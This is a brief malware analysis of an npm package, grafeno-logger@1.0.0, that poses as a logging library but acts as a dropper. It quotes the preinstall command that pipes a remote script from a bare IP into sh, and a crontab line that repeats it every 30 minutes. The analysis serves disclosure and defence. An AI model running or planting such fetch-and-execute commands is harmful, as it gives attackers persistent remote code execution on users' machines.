grafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.
